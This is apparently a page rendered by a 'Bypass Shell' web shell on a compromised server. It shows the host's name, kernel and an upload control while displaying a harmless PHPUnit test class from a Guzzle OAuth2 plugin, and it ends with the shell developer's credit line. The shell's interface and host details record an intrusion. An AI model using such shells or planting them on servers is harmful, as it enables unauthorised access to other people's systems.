Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/store/vendor/sainsburys/guzzle-oauth2-plugin/tests/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/store/vendor/sainsburys/guzzle-oauth2-plugin/tests/TestBase.php

<?php

namespace Sainsburys\Guzzle\Oauth2\Tests;

use GuzzleHttp\Client;
use GuzzleHttp\ClientInterface;
use GuzzleHttp\HandlerStack;

abstract class TestBase extends \PHPUnit_Framework_TestCase
{
    /** @var ClientInterface */
    protected $client;

    /** @var MockOAuth2Server */
    protected $server;

    /**
     * @param array $options
     * @param array $serverOptions
     *
     * @return Client
     */
    protected function createClient(array $options = [], array $serverOptions = [])
    {
        $this->server = new MockOAuth2Server($serverOptions);
        $this->client = new Client(
            ['handler' => $this->server->getHandlerStack()] + $options
        );

        return $this->client;
    }

    /**
     * @return ClientInterface|null
     */
    protected function getClient()
    {
        return $this->client;
    }

    /**
     * @return HandlerStack|null
     */
    protected function getHandlerStack()
    {
        if ($this->server instanceof MockOAuth2Server) {
            return $this->server->getHandlerStack();
        }

        return null;
    }
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net